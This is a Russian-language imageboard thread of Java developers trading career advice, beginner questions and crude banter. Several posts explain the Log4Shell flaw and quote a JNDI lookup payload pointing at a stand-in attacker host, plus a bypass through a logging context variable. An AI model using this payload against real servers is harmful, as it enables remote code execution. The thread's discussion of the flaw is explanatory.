Аноним 14/12/21 Втр 12:35:19 2237328294
Как много вакансий генерирует Сбер? Реально устроится джуном-стажером в ДС, при этом обойдя эту контору стороной? Я понимаю, что в сбере тоже есть крутые команды, но как показывает практика, почти все знакомые джуны, которые туда попали, в итоге оказались в говнокомандах, после чего увольнялись и не могли себе найти нормальную работу. Я не только про джавистов говорю, а вообще про всех - мл, дс, js, java.
Аноним 14/12/21 Втр 12:35:20 2237329295
>>2237325
Потому что такой прожект любая обезьяна может накидать с уроков на ютабчике. Особенно легкий путь это спиздить репозиторий автора и тупо переименовать там все.
Аноним 14/12/21 Втр 12:48:53 2237334296
>>2237329
Чтобы оно заработало после того как накидать, надо сначала разобраться.
Чтобы переименовать осмысленно, надо сначала разобраться.
Так то, вкатунишка!
Аноним 14/12/21 Втр 12:54:49 2237336297
>>2237334
>вкатунишка
себе что ли сказал, клован?
>Чтобы оно заработало после того как накидать, надо сначала разобраться.
Разобраться как нажать кнопку run в идее?
Че несет вообще охуеть. Самооправдания долбоеба который именно так и вкатывался незаменты.
Аноним 14/12/21 Втр 13:04:46 2237339298
>>2237336
Я вкатывался пять лет назад в микрогалеру в мухостранске без всяких петов. Основы жс и пхп изучил по срачам на форумах и бордах. Повезло то что галера пилила тырпрайз, а не визитки.

А вот ты написал бред и теперь его защишаешь. Если челик просто клонирует чужу репу, его легко поймать на этом с пары вопросов в разговоре. Если же его никто не спросит, то значит компанию беспокоят не уровень знаний, а цена найма.
Аноним 14/12/21 Втр 13:16:58 2237347299
>>2237175
Спасиб за советы, половину не понял, но почитаю инфу.
Аноним 14/12/21 Втр 13:20:34 2237348300
>>2237339
>А вот ты написал бред и теперь его защишаешь
Я просто написал единственный сценарий, по которому, кмк, может возникнуть ситуация, что ты пришел яко бы со спринг-стеком, но при этом испытываешь проблемы с пониманием циклов.
Может ты что-то спутал, но я не говорю что это типа нормально, я просто так отреагировал на то высказывание что можно на серьезных щах прийти на собес по джаве+спринг не зная циклов
Аноним 14/12/21 Втр 13:26:33 2237354301
>>2237347
Да тут все твои друзья, приходи.
Олсо, просрано важное, чего коснулся этот >>2237045 анон.
7) Надо проверять что у тебя не будет деления на ноль. Это не так страшно, если ты юзаешь результат только для вывода в консоль (будет NaN), но как только ты такой double решишь как-то использовать где-то, где никакой NaN быть не может, у тебя все развалится прямо в рантайме
14/12/21 Втр 15:43:10 2237463302
А в джаве есть какой-то класс, который представляет собой файл в виде имени и набора байтов/байтового потока? Стандартный file вроде не подходит.
Аноним 14/12/21 Втр 18:27:01 2237619303
>>2237463
Стандартный файл это репрезентейшен файла в ОС, можно сказать, таких его свойств как имя, директория, доступность и прочее. Само содержимое можно получить в виде т.н. "потока" - такая хуйня которая может "читаться" в направлении от начала к концу и "заканчиваться". Так вот поток создается как отдельный объект отдельного класса, в конструктор которому ты передаешь file (ну либо тупо адрес, там разные конструкторы). После этого ты можешь из потока читать побайтово (либо посимвольно, если хочешь воспринимать это как текстовик, либо построчно, в зависимости от типа потока, которых там дохуища, например FileInputStream)
Аноним 14/12/21 Втр 23:03:54 2237825304
Правильно я понимаю, что суть уязвимости log4j это аоп, на котором работают логеры и использование jndi для приема данных?
То есть совмещение двух технологий для универсализации привели к большому пиздецу.
Аноним 14/12/21 Втр 23:07:12 2237829305
>>2237825
Почему система для логгирования лезет в сеть? Это же вообще пиздец как безопасно.
Аноним 14/12/21 Втр 23:10:48 2237830306
14/12/21 Втр 23:12:52 2237831307
Бля, я ж говорил, что нахуй log4j, когда есть Logback.
Аноним 14/12/21 Втр 23:14:55 2237833308
У нас на проекте клиент шлёт SQL-запросы серверу через HTTP без шифрования, но фиксить надо какой-то там логгер, хих.
Аноним 14/12/21 Втр 23:31:19 2237840309
>>2237833
> на проекте клиент шлёт SQL-запросы серверу через HTTP без шифрования
А нахуя так?
Аноним 14/12/21 Втр 23:42:42 2237844310
>>2237840
Уж как деды запилили, потихоньку переделывается.
Аноним 14/12/21 Втр 23:53:23 2237855311
>>2237829
>>2237830
Объясните ньюфагу дебилу суть уязвимости.
Лезет в сеть в каком смысле?
Я думал эксплуатирования уязвимости в том, что ты шлешь хттп со строчкой где есть jndi и потом уже log4j там отсылает все что попросишь?
Аноним 15/12/21 Срд 12:35:05 2238140312
>>2237833
>У нас на проекте клиент шлёт SQL-запросы серверу через HTTP без шифрования
Мы тоже так делали, это хорошее, гибкое решение!
правда это было в 2004 году и система использовалась только в локальных сетях без доступа к интернету
Аноним 15/12/21 Срд 12:53:29 2238150313
>>2238140
Ещё, небось, и с логикой на процедурах в базе?
15/12/21 Срд 14:51:22 2238251314
>>2238150
А как же! И некоторые процедуры были на джаве Оракл такое позволяет. А гуй был веб + аплеты. Тогда можно было любую дичь творить, хоть с VB приложухой через ActiveX и JACOB конектиться.
Аноним 15/12/21 Срд 15:03:27 2238262315
>>2237855
Проблема была вызвана тем, что Log4j 2 поддерживает обработку специальных масок "{}" в выводимых в лог строках, в которых могли выполняться запросы JNDI (Java Naming and Directory Interface). Атака сводится к передаче строки с подстановкой "${jndi:ldap://attacker.com/a}", при обработке которой Log4j 2 отправит на сервер attacker.com LDAP-запрос пути к Java-классу. Возвращённый сервером атакующего путь (например, http://second-stage.attacker.com/Exploit.class) будет загружен и выполнен в контексте текущего процесса, что позволяет атакующему добиться выполнения произвольного кода в системе с правами текущего приложения.

https://www.opennet.ru/opennews/art.shtml?num=56319
Аноним 15/12/21 Срд 15:41:17 2238305316
image.png 30Кб, 585x243
585x243
Чяднт, компилятор шлёт нахуй. Какой метод вместо contains задать, чтобы при виде хотя бы одного слова из массива if срабатывал?
Аноним 15/12/21 Срд 16:28:19 2238343317
>>2238305
Почитай лучше ещё раз что такое массивы и как с ними работать, вопрос сам собой отпадёт
Аноним 15/12/21 Срд 17:15:32 2238396318
Что такое гранулярность, когда говорят о времени?
Аноним 15/12/21 Срд 18:20:10 2238441319
>>2238396
Минимальный интервал который может быть выражен или померян.

Например гранулярность currentTimeMillis() под виндой около 15 мсек, т.е. если вы цикле дергать currentTimeMillis() и сравнивать значения, то у тебя будет не 1, 2, 3, 4 как можно было бы ожидать, а 1, 16, 30, 47.
Аноним 15/12/21 Срд 18:52:14 2238466320
>>2232299
>Нужно быть душевнобольным хуесосом без малейшей симпатии к программированию, чтобы в 2022 писать на жабе

so wat. Один из самых популярных и востребованных языков. Но каждый хуесос из пятогоб э начинает рассказы про то какой он ПИТОНОБОГ вкатился вайти за 3 месяца и зарабатывает лярд грина в наносекунду.
Аноним 15/12/21 Срд 18:57:32 2238472321
>>2237830
доверие к жабе всё равно подорвано у мирового сообщества разработчиков и предпринимателей
Аноним 15/12/21 Срд 19:02:42 2238476322
>>2238472
И? Буду только рад если начнут использовать тот же go внутри компании. Привязываться всей айти инфраструктурой к 1 платформе это путь долбоебов в независимости от языка.
Аноним 15/12/21 Срд 19:21:16 2238489323
Массив хранит данные в непрерывном фрагменте памяти.
Допустим, у меня есть класс A и класс B, который расширяет A.
class A {
protected int a;
}

class B extends A {
private int b;
}

Потом создаю массив:
A[] a = new A[2];
a[0] = new B();

Как вообще можно в таком случае выделить непрерывный кусок памяти, если его размер не может быть известен заранее? Или в случае объектов только ссылки на них располагаются в непрерывном участке памяти, а сами объекты уже нет?
Аноним 15/12/21 Срд 19:22:45 2238495324
>>2238489
> Или в случае объектов только ссылки на них располагаются в непрерывном участке памяти, а сами объекты уже нет?
Да.
Аноним 15/12/21 Срд 19:27:02 2238498325
>>2238472
>доверие к жабе всё равно подорвано у мирового сообщества разработчиков и предпринимателей
Подорванный ты наш, напомни сколько там было багов из-за переполнения буфера в программах на С/с++?
Аноним 15/12/21 Срд 19:28:12 2238500326
>>2238472
Это чем же оно подорвано?
Аноним 15/12/21 Срд 19:36:35 2238512327
В паметризованном классе с параметром типа Т нельзя создать массив Т[] только потому, что в рантайме T стерт на Object и нельзя проконтролировать никак, является ли то, что мы помещаем в массив, объектом типа T или есть еще какие-то причины?
Аноним 15/12/21 Срд 20:04:49 2238535328
>>2238512
Нельзя потому что во время компиляции тип Т неизвестен и поэтому нельзя сгенерировать байткод new T[].
Аноним 15/12/21 Срд 20:13:15 2238541329
>>2238535
Надо было вместо убогих дженериков впиливать крестоблядские темплейты.
Аноним 15/12/21 Срд 20:19:04 2238546330
>>2238541
Лучше бы молчал, чем пороть чушь о вещах в которой не разбираешься.
Аноним 15/12/21 Срд 20:30:38 2238554331
Как после вката в ждуны выбрать свою нишу в жабе?
Мне и цветных чертей в браузере нравится двигать и в кишочках хибернейта ковыряться.
Но ведь 90% жабы это сервера и банки, банки и сервера. Значит есть смысл упарываться только суровым бэкендом. Или можно забить хуй и развиваться равномерно по настроению?
Аноним 15/12/21 Срд 20:32:13 2238556332
>>2238546
И всё же нужно было темплейты.
Аноним 15/12/21 Срд 20:38:30 2238559333
И крестоблядские компиляция и работа с памятью. Глядишь, идея бы не тормозила.
15/12/21 Срд 20:48:55 2238565334
>>2238559
Так грааль для таких манек придумали.
Аноним 15/12/21 Срд 20:50:34 2238566335
>>2238565
Если б он ещё работал.
Аноним 15/12/21 Срд 20:50:50 2238567336
Анон где можно практически прокачать знания многопоточности и JUNIT . Видел выше кидали курс на степике где можно было прокачать знания по стримам. Мб и на эти темы что то есть.
15/12/21 Срд 20:52:33 2238568337
15/12/21 Срд 21:51:55 2238592338
А есть mockMvc только для реста?
Аноним 15/12/21 Срд 21:53:02 2238594339
15/12/21 Срд 21:53:37 2238595340
15/12/21 Срд 21:54:10 2238597341
15/12/21 Срд 21:54:34 2238598342
>>2238594
Ну со всякими удобными плюшками.
15/12/21 Срд 21:57:32 2238599343
>>2238598
Так в мок мвц и так куча плюшек. Или ты сам отправляешь рест запросики и тебе нужно убедиться, что все норм
Аноним 15/12/21 Срд 22:06:02 2238605344
Есть работяги? Скажите пожалуйста какие задачи дефолтно выполняете, какие интересные моежете выделить или сложные ?
На позиции мидла. Я на говноголере в мухосрани выполняю дефолтные штуки. Контроллеры пишу, дао, сервисы, тесты, чаще что-то исправляю. Но в тех же местах.
Спасибо!
Аноним 15/12/21 Срд 22:40:39 2238621345
>>2238605
Не парься, интересной работы на жабе почти нет.
Аноним 15/12/21 Срд 22:42:32 2238622346
.png 245Кб, 720x720
720x720
>>2238621
Работа вообще как таковая хуйня.
Аноним 15/12/21 Срд 23:01:01 2238640347
>>2238621
Да просто собираюсь переехать в мск и вот скоро начать ходить(миит) на собесы.Сначала прохожу из своей мухосрани потом понаехаю. Хочу устроиться в сбер, ходить в офис и жить жизнь. Часто спрашивают, а что интересное делал, у меня интересного "код наплакал".
Аноним 15/12/21 Срд 23:14:15 2238650348
Как будет выглядеть cron в @Scheduled для выполнения задачи каждые 10 минут 30 секунд?
15/12/21 Срд 23:20:04 2238653349
>>2238650
Загугли конструктор крон-выражений.
Аноним 15/12/21 Срд 23:27:55 2238661350
>>2238653
Ну епта я не такой долбоеб чтобы нихуя не гуглив задавать вопрос тут и надеяться на анона. Гуглил, пытался тут что-то нахуевертить, но сука даже в примерах нет ничего связанного похожего

https://www.freeformatter.com/cron-expression-generator-quartz.html
15/12/21 Срд 23:43:20 2238670351
>>2238661
Ты первую ссылку открыл и пришел в тред? Открывай вторую теперь.
Аноним 15/12/21 Срд 23:44:24 2238671352
>>2233170
А есть что-то конкретно про хибернейт?
Я уже писал свои вкатышепеты на жаве и рест контроллеры всякие писать проблем не было, так же нет проблем с сиквелем(60 задач на sql-ex), но конкретно с работой с бд через орм проблемы, как все эти связи оформлять и прочее.
Аноним 15/12/21 Срд 23:52:40 2238677353
Удалите уже этот тред, поясняю:
1) C# лучше.
2) Бэк уже начали переписывать на го.
3) Когда выйдет мультиплатформа котла, то весь бэк будет переписан на котлин, ибо мобилки это сфера убивающая веб, как когда-то веб десктоп, а единая бизнес логика это просто экономия 9000 часов времени, а значит и денег кабана.
Java труп, без преувеличений, новые сервисы пишутся на том же котле, а джээва шлак просто лежит и ждёт когда его перепишут. И его перепишут.
15/12/21 Срд 23:57:58 2238682354
Аноним 16/12/21 Чтв 00:11:51 2238693355
>>2238671
Основы я брал тут:
https://easyjava.ru/data/jpa/
https://easyjava.ru/data/hibernate/
Ну и баелдунг и книжка java persistence для чего-то конкретного.
Правда не стал ничего писать на голом хибере. Спринг дату у отуса только смотрел. Для пета мне хватило.
16/12/21 Чтв 00:15:35 2238696356
>>2238650
Скорее всего, такого не будет. Ты можешь делать таску раз в 10 минут на тридцатую секунду, но никак не с интервалом в 10:30
ScheduledExecutorService
Аноним 16/12/21 Чтв 02:40:41 2238767357
16394754165770.jpg 141Кб, 750x548
750x548
Аноним 16/12/21 Чтв 08:30:45 2238805358
>>2238677
Безработный нубяра незаметен
Аноним 16/12/21 Чтв 08:50:10 2238821359
>>2238677
Толсто. Ниже тред по паскалю висит.
Аноним 16/12/21 Чтв 12:01:40 2238962360
>>2238556
C++ статический язык, поэтому там темплейты реализуемы достаточно легко.
В Java у тебя классы грузятся динамически или вообще генерируются - поэтому максимум что можно сделать в Java - это Generic Specialization.

В принципе конечно можно и темплейты реализовать, но это надо весь темплейт энджин засунуть в рантайм и непонятно как избежать разных побочных эффектов со всякими ссылками на другие классы или темплейты которые еще не были загружены.
Аноним 16/12/21 Чтв 15:52:58 2239160361
> В реализации подстановок JNDI в библиотеке Log4j 2 выявлена ещё одна уязвимость (CVE-2021-45046), проявляющаяся несмотря на добавленные в выпуск 2.15 исправления
> Обход защиты сводится к тому, что вместо прямой подстановки "${jndi:ldap://attacker.com/a}", данное выражение подставляется через значение промежуточной переменной, используемой в правилах форматирования вывода в лог. Например, если при выводе в лог используется контекстный запрос ${ctx:apiversion}, то атака может быть проведена через подстановку данных "${jndi:ldap://attacker.com/a}" в значение, записываемое в переменную apiversion.
это смешно
джава мартыханы разучились программировать
16/12/21 Чтв 16:02:44 2239168362
>>2239160
Зато в логгере можно код запускать!!!!
Аноним 16/12/21 Чтв 16:25:46 2239181363
Я правильно понял, если заставить логгер залогировать любую строку где хоть где-то есть паттерн, то можно загрузить любой класс извне, и выполнить его, если да, то они ебанутые? Т.е. шлем любые невалидные данные на север с паттерном, он логируется, эксепшен же хули, и доступ обезьяной к серверу получен? Это так просто? Они ебанутые?
Аноним 16/12/21 Чтв 16:49:33 2239205364
>>2239160
>то атака может быть проведена через подстановку данных "${jndi:ldap://attacker.com/a}" в значение, записываемое в переменную apiversion.
А как это сделать внешнему атакующему?
16/12/21 Чтв 17:07:37 2239221365
>>2239181
Инфа 100 этот бекдор специально сделали
Аноним 16/12/21 Чтв 17:24:27 2239232366
Дочитал Шилдта до 500 страницы. Не могу решить самые первые задачки на codingbat из раздела разминки. Читаю условие, перевод понимаю, но тупо не понимаю, что мне нужно сделать. Со мной всё ок или мне сразу пенсию по умственной инвалидности оформлять?
Аноним 16/12/21 Чтв 17:29:28 2239239367
>>2239205
Просто срать, везде где есть инпут от юзера, если в приложении был этот дырявый логер то он все исполнит.
>>2239221
Думаю да, эта хуйня aws положила второй раз
Аноним 16/12/21 Чтв 17:40:13 2239249368
>>2239239
>Просто срать, везде где есть инпут от юзера, если в приложении был этот дырявый логер то он все исполнит.
Ты хоть обосрись, но ${ctx:apiversion} ты так не поменяешь.
16/12/21 Чтв 18:15:04 2239286369
>>2239232
Да ок, выучить язык программирования ещё не значит научиться алгоритмически мыслить. Пытайся ещё решать какие-нибудь совсем простые задачи, пиши программы для себя, и всё придёт.
Аноним 16/12/21 Чтв 18:21:28 2239293370
>>2239286
>алгоритмически мыслить
Разве такое надрочить получится, я если даже и дойду до первых собесов, то пуская слюни в слезах убегу при первой же задаче от hr. Прям руки опустились, вроде бы нашёл дело, которое мне нравится, но обидно осознавать, что оно мне так плохо даётся. В любом случае, спасибо за поддержку.
16/12/21 Чтв 18:30:03 2239305371
>>2239293
Получится, все надрачивают. С этим никто не рождается, сложно всем.
Аноним 16/12/21 Чтв 19:46:35 2239367372
>>2239232
Пробуй задачки на степиках, кодварсах, литкодах. Там где подсказки можно в комментах прочесть. Мне помогало.
Аноним 16/12/21 Чтв 20:15:11 2239385373
>>2239293
Однажды повезет и проскочишь. Я так делал.
16/12/21 Чтв 21:13:35 2239426374
Че там, уже придумали что-то лучше чем assertj?
16/12/21 Чтв 21:18:21 2239428375
>>2239426
А чем тебе assertj не угодило?
16/12/21 Чтв 21:19:29 2239429376
>>2239428
Многословный, с коллекциями хуево работает.
16/12/21 Чтв 21:41:18 2239435377
>>2239426
Да, придумали KISS и YAGNI.
16/12/21 Чтв 21:42:00 2239436378
16/12/21 Чтв 21:45:41 2239440379
>>2239436
АОП - это антипаттерно-ориентированное программирование.
16/12/21 Чтв 21:47:20 2239443380
Аноним 17/12/21 Птн 05:38:53 2239631381
>жavapidor: кококо солид сингл респонсибилити кококо
>тоже жавапидор: а давайте логгер будет не только выводить текст, но и открывать ссылки
Аноним 17/12/21 Птн 06:26:05 2239633382
>>2239631
Так солид это для холопов разработчиков приложений. Библиотеки/тулинг/инфраструктура никогда не будут соответствовать всем бестпрактикам.
Аноним 17/12/21 Птн 06:57:30 2239635383
>>2239440
Прямо как глобальный контекст зависимостей в спринге.
17/12/21 Птн 09:41:41 2239658384
>>2239631
Это два разных жабапидора.
17/12/21 Птн 10:01:43 2239665385
>>2239631
Я так-то тоже против этой хуйни
второй жавапидор
Аноним 17/12/21 Птн 11:12:01 2239695386
>Роб Харроп Spring 5 для профессионалов
Нормальная книжка чтоб вкатываться? Если я почти полный ноль в спринге. Знаю что стандартом литературы по теме является "Спринг ин экшон", но мой английский не настолько пиздат чтоб я осилил ее в оригинале за короткое время, а хотелось более менее въехать, а потом уже можно и дотянуть.
Аноним 17/12/21 Птн 11:34:21 2239714387
>>2239695
ангийское потом так и не наступит, будешь на местных кабанов горбайтен
Аноним 17/12/21 Птн 12:14:58 2239755388
>>2239714
Ну, вопрос-то в другом был. Если кто-то читал то самое, оценить его годноту. Если оно достаточно качественное то может уоллс и не понадобится
Аноним 17/12/21 Птн 13:58:40 2239847389
Пиздос, часто смотрел собесы, где говорили что алгоритмы в принципе ни где не пригодятся, а щас увидел видос, чел попал в Яндекс, а потом в FAANG, и говорит что ничего кроме решения алгоритмов не важно, даже похер что не знаешь как работает промышленное программирование итд за индустрию в целом, главное алгоритмы.
Ну челик ща получает 300к $ в год, найс че.
Аноним 17/12/21 Птн 13:59:01 2239848390
Аноним 17/12/21 Птн 14:19:44 2239855391
>>2239847
от уровня решаемых тобой задач зависит. Если ты просто мартышка которая круды стряпает для очередного магазина резиновых дилдаков, то алгоритмы не нужны. Если ты занимаешься программированием фундаментальных вещей типа движков каких-то технологий - то это действительно главное, и это очень дорого стоит. Из этого можно сделать вывод: для 99,5% верно то что алгоритмы вторичны, а макакинг первичен, для остальной половины процента, которые для макак собственно строят галеры, верно то что сказал тот типчик 300к/нсек
Аноним 17/12/21 Птн 14:25:57 2239860392
>>2239855
Получается что около 99.5% кодеров это макаки? Даже сеньоры?
17/12/21 Птн 14:28:23 2239865393
Аноним 17/12/21 Птн 14:29:55 2239867394
Аноним 17/12/21 Птн 15:05:21 2239908395
>>2239855
Но в фаангах же тоже есть таски с теми же самыми крудами и формочками. Наверно даже есть такие работники, кто только этим и занимается. Но ебут алгосами всех.
Аноним 17/12/21 Птн 15:32:44 2239933396
>>2239633
> соответствовать всем бестпрактикам.
Ну хоть валидатор жаба кода есть, которым можно ебать на собесах, проверит хоть пришел ли тебе через логирование валидный байткод из Китая
Аноним 17/12/21 Птн 15:43:24 2239940397
>>2239908
> в фаангах
Разве в фанге ктото работает дольше чем год-два?
Аноним 17/12/21 Птн 16:09:42 2239961398
Почему не существует имутабельных массивов?
Аноним 17/12/21 Птн 16:26:20 2239972399
>>2239961
Чем тебе UnmodifiableList не угодил?
17/12/21 Птн 16:30:45 2239978400
>>2239961
А вот в Котлине все есть.
Аноним 17/12/21 Птн 16:57:43 2240003401
>>2239978
Кста заметили, как хайп на котлин резко прошел?
Аноним 17/12/21 Птн 17:04:50 2240005402
Аноним 17/12/21 Птн 17:15:36 2240018403
>>2240005
Согласен. Но выглядит прикольно, его хочется изучать, имхо.
Аноним 17/12/21 Птн 17:22:19 2240023404
>>2240003
На хайп адекватным людям похуй, кому надо, тот просто пишет на котлине, и такого вокруг все больше, никуда не исчезает. Просто как первый попавшийся пример - тут кто-то недавно бегал со стажерским тестовым заданием в райффайзен. Так вот, у них там котлин, и задание самом можно было писать и на котлине.
Аноним 17/12/21 Птн 17:22:42 2240024405
>>2240018
> хочется изучать
молодой еще
Аноним 17/12/21 Птн 17:24:22 2240025406
>>2239847
>даже похер что не знаешь как работает промышленное программирование итд за индустрию в целом

Ну если для стажера и какого-нибудь джуна такое прокатит, то на более высоких должностях тебя попустят на System Design.

>>2239847
>челик ща получает 300к $ в год
А смысл получать 300к долларов в год, сидя в bay area, где это будет довольно посредственной зп с которой будешь в 0 уходить. Примерно как 70-100к рублей в месяц в России (предполагаю, что своей недвиги нет, и на 70к рублей ты снимаешь в Москве однушку за 40к, а в bay area платишь моргидж)
Аноним 17/12/21 Птн 17:25:26 2240028407
Как в мапстракте сделать конверсию, когда в одном классе есть какое-то поле, которое надо смапить на другое поле, которое в другом классе завернуто в объект, поле которого объявленос типом интерфейса?
Аноним 17/12/21 Птн 17:38:13 2240034408
>>2240025
Не грози Bay Area попивая бояру в однушке за 40к
Аноним 17/12/21 Птн 17:43:43 2240039409
firefox2021-12-[...].png 19Кб, 607x203
607x203
>>2239847
>что ничего кроме решения алгоритмов не важно
Потому что так отбирают отбитых задротов от академии которыми проще управлять
Аноним 17/12/21 Птн 23:19:46 2240358410
>>2240024
Перестал учиться хоть в 30+ - через какое-то время пойдешь нахуй из профессии, либо таки научишься либо продолжишь галерить на пятой джаве за копейки.

Аноним 18/12/21 Суб 12:43:20 2240698411
Когда поменяют названия версий джавы? JDK 17 - ну куда блядь. Каждые полгода выпускать, так мы через годик уже придем к JDK 33. Нахуй такие большие цифры?
Аноним 18/12/21 Суб 16:21:58 2240954412
>>2240698
Никогда. Да хоть JDK 333, какая разница?
Аноним 18/12/21 Суб 16:45:39 2240981413
>>2240698
Предлагаешь версиям давать имена?
Аноним 18/12/21 Суб 17:00:06 2240989414
>>2240981
Мою любимую версию джавы зовут котлин :3
Аноним 18/12/21 Суб 17:01:13 2240990415
>>2240981
Нет, вернутся к тому, с чего начинали. Жаба 1.17, потом 1.18.
Аноним 18/12/21 Суб 17:03:49 2240995416
>>2240990
Слава богу от этого бессмысленного архаизма начали отходить. Самое удобное версионированние это год.месяц.день
18/12/21 Суб 17:06:05 2240998417
>>2240995
>Самое удобное версионированние это год.месяц.день
Ты наголову ебнутый?
18/12/21 Суб 17:07:31 2241000418
>>2240995
Да, надо каждый год ломать обратную совместимость, каждый месяц выпускать новые фичи и каждый день - патчи. Тогда будет заебись.
Аноним 18/12/21 Суб 17:07:58 2241002419
>>2240995
час.минута.секунда.миллисекунда.микросекунда.наносекунда
Аноним 18/12/21 Суб 17:28:32 2241026420
Жаба все равно никогда не укатится с мажорной версии. В этой цифре 1 просто нет смысла, поэтому ее убрали. Посмотрите на версии ядра линукса, там такая же хуета была, пока не заебались решать что мажор, а что минор, потому что каждую версию что-то выпиливается и добавляется и ломается. И многие продукты сделали тоже самое. В андроеде тупо счетчик например. Особенно смешно выглядят либы с версиям 0.0.Х просто лол.
Положняк по версиям такой
- год[.месяц[.день]][-ревизия]
- счетчик
- всё остальное - тупо лишние сущности от первокуров
Аноним 19/12/21 Вск 10:09:10 2241586421
Подскажите IDE для Java на Linux
Аноним 19/12/21 Вск 10:30:32 2241596422
Аноним 19/12/21 Вск 10:55:10 2241606423
>>2241586
idea 2021.2 с абьюзным триалом
Аноним 19/12/21 Вск 15:07:19 2241818424
Почему уже вышла 17 версия жавы, а в дистрибутивах линупсов до сих пор раздают как актуальную 11 версию? Скачал и поставил 17 версию, а команда:
java - version
всё равно говорит, что у меня 11 версия. Что я делают не так?
Аноним 19/12/21 Вск 15:10:09 2241823425
>>2241818
> Почему уже вышла 17 версия жавы, а в дистрибутивах линупсов до сих пор раздают как актуальную 11 версию?
Просто 11-я это LTS
> всё равно говорит, что у меня 11 версия. Что я делают не так?
Значит в твоем окружении переменная PATH смотрит в bin 11-й версии.
19/12/21 Вск 15:13:18 2241831426
>>2241818
Спроси в /s/, почему шизанутые мейнтейнеры линупсов страдают такой хуйнёй.
19/12/21 Вск 15:47:46 2241884427
Аноним 19/12/21 Вск 16:27:44 2241929428
>>2241818
скачай руками архив, распакуй куда-нибудь и в PATH пропиши
Аноним 19/12/21 Вск 16:40:36 2241941429
>>2241929
Там в /usr/bin есть symbollink на эту 11 версию. Ни каких PATH там нет. Я думал в линупсах по уму сделано, а на деле рукожопство похлеще, чем на винде.
19/12/21 Вск 16:43:23 2241945430
Аноним 19/12/21 Вск 17:00:24 2241965431
1.png 183Кб, 1864x1000
1864x1000
Почему так? Jdk только что обновлён. Если для collectors ещё можно импортировать, то для arrays он видит только sql.arrays и reflect.arrays.
Аноним 19/12/21 Вск 17:04:12 2241978432
>>2241965
1) Чего? У тебя там Array вместо Arrays.

2) Ну так заимпортируй для коллекторов, будет работать

3) На всякий случай сделай invalidate caches and restart и пусть идея заново проиндексирует jdk
Аноним 19/12/21 Вск 17:07:21 2241988433
>>2241978
>Array вместо Arrays.
Пиздец кукож, пора отдохнуть, спасибо.
Аноним 19/12/21 Вск 17:23:32 2242025434
>>2241988
Да, воскресенье, сходи купи пару булок в пекарне и какао. В цех85 там какие-то новогодние штуки как раз продают
Аноним 19/12/21 Вск 17:34:21 2242036435
>>2241965
>>2241818
бросай программирование не твой канек
Аноним 19/12/21 Вск 23:22:55 2242326436
Уже третий месяц пытаюсь посмотреть лекции с отуса. Половину лекторов слушать невозможно. Один постоянно тормозит и как будто наполовину спит, а второй шепелявит и заикается. Такое ощущение, что их подбирали специально, чтобы сложнее было материал воспринимать.
19/12/21 Вск 23:27:49 2242335437
>>2242326
Зато в книгах никто не тормозит и не шепелявит.
Аноним 19/12/21 Вск 23:37:20 2242349438
Аноним 19/12/21 Вск 23:37:55 2242352439
Дравия желаб!1
Товарищи деды, когда можно начинать искать рабiтку джава подсосером (джуном)?
По джавке - сериализацию скоро допройду. Потоки, коллекции, кор знаю. Паттерны тож скоро закончу, одиночка строитель кушал и писал уже дэбилокод для практики так сказать.
Sql кушаю активно, ex-sql пока 27 задач.
Думаю, что после того, как закончу выше сказанное (для Sql задач 60 будет достаточно), мне надо будет покушать спринг и гит
После чего искать работку.
Правильно думаю? Или слишком мало? Заранее спасибо за ваше мнение
19/12/21 Вск 23:42:01 2242359440
Аноним 19/12/21 Вск 23:49:03 2242374441
>>2242352
Я нашёл место, где вообще только джава-кор нужен. И на собесе нихуя не спрашивали. Хочу съебать.
19/12/21 Вск 23:52:44 2242380442
>>2242374
Что за проект такой?
Аноним 19/12/21 Вск 23:56:41 2242383443
>>2242359
Спасибо!
>>2242374
Что такое? Зп маленькая? Как искал?

У меня друг - джуниор тоже с 0 знаниями залетел, а потом на испытательном сроке охуевал от жизни, ему давали столько инфы о разных фреймах, что по сути он сутками все учили. Хибернейты всякие, скл, спринг, джифрейм библиотеку заставили покушать прости господи... Ещё что то было этакое! А, докер вроде. Вот. И все в рамках месяца, но вроде сейчас уже раздуплился (3й месяц идёт его работы).говорит что на проект поставили. Вот и я чёт иногда думаю, что может просто взять и попробовать на дурака. Все равно фреймы всякие везде разные, и я так понял, что все равно первый месяц - два будут натаскивать под приколы фирмы, так сказать
Аноним 20/12/21 Пнд 01:41:06 2242436444
>>2233408
Если пропадет работа на жаве, в другой любой бэкэндовый язык перекачусь за неделю, анончик.
Аноним 20/12/21 Пнд 01:56:04 2242448445
Стажируюсь в местной конторе на джависта четвертый месяц, вроде худо бедно чето получается, но меня дико заебал сам проект и ментор, первое лютейшее тормознутое лагаси, а ментор просто странный чувак, вместо ответа на прямой вопрос по их легасиговну, для которого нет доков, отвечает шарадами, или смотреть код. В принципе я ему все таки благодарен, я за эти 4 месяца охуенно прокачал навык читать чужой говнокод, наконец то понял что вообще такое говнокод и почему никто не любит коряво написанное Легаси разбирать.

Короче вопрос, хочу съебать сразу на Джуна в другую контору какую нибудь, будут ли хоть какой-нибудь вес иметь слова, что я где-то там стажировался?
Аноним 20/12/21 Пнд 08:36:27 2242524446
>>2242326
На твиче по вторникам где-то в районе 13:00 по мск идут лекции препода из универа. Он очень классно рассказывает про джаву.
Аноним 20/12/21 Пнд 09:23:10 2242537447
Подскажите, где можно скачать руссификатор на IntelliJ IDEA?
Аноним 20/12/21 Пнд 09:26:53 2242539448
Аноним 20/12/21 Пнд 09:36:18 2242548449
Берут ли новичков на удалёнку? В моём городе нет вакансий.
Аноним 20/12/21 Пнд 12:42:28 2242638450
>>2242448
Выбери одну технологию, с которой больше всего соприкасался, разберись с ней получше и ври, что полгода джуном работал. В резюме для рекрутеров даже пару месяцев опыта сильно лучше чем 0, они очень тупо фильтруют.
Аноним 20/12/21 Пнд 12:48:46 2242645451
Пацаны, ситуация такова - вкатун, год+ курса по жабе, кор, многопоточка, спринг и бд, по учёбе всякое делал(CRUD/REST хуйни, просто задачки "магазин/склад" и т.п.). Проходил собесы, делал тестовые - сами звали кабанчики, но естественно сук не хватает им моих знаний теоретических. Так вот куда легче всего из компаний вкатиц на удалёнку? Сам из Барнаула ебучего, тут пооткликался сам - тишина бля. Стажировки от банков - там херота какая-то, задачки олимпиадные про монетки и колу.
Аноним 20/12/21 Пнд 13:02:21 2242658452
>>2242645
Так кроме банков и епама с бесплатной стажировкой на хз сколько месяцев и шансоми что в штат не возьмут никто удаленку на джуна/стажера на джаве вообще не предлагает.
Иди на пыху в своем Барнауле. Или вали в нерезиновую, Питер или Казань. Ну или пытайся пробиваться через стажировки, где берут каждого десятого.
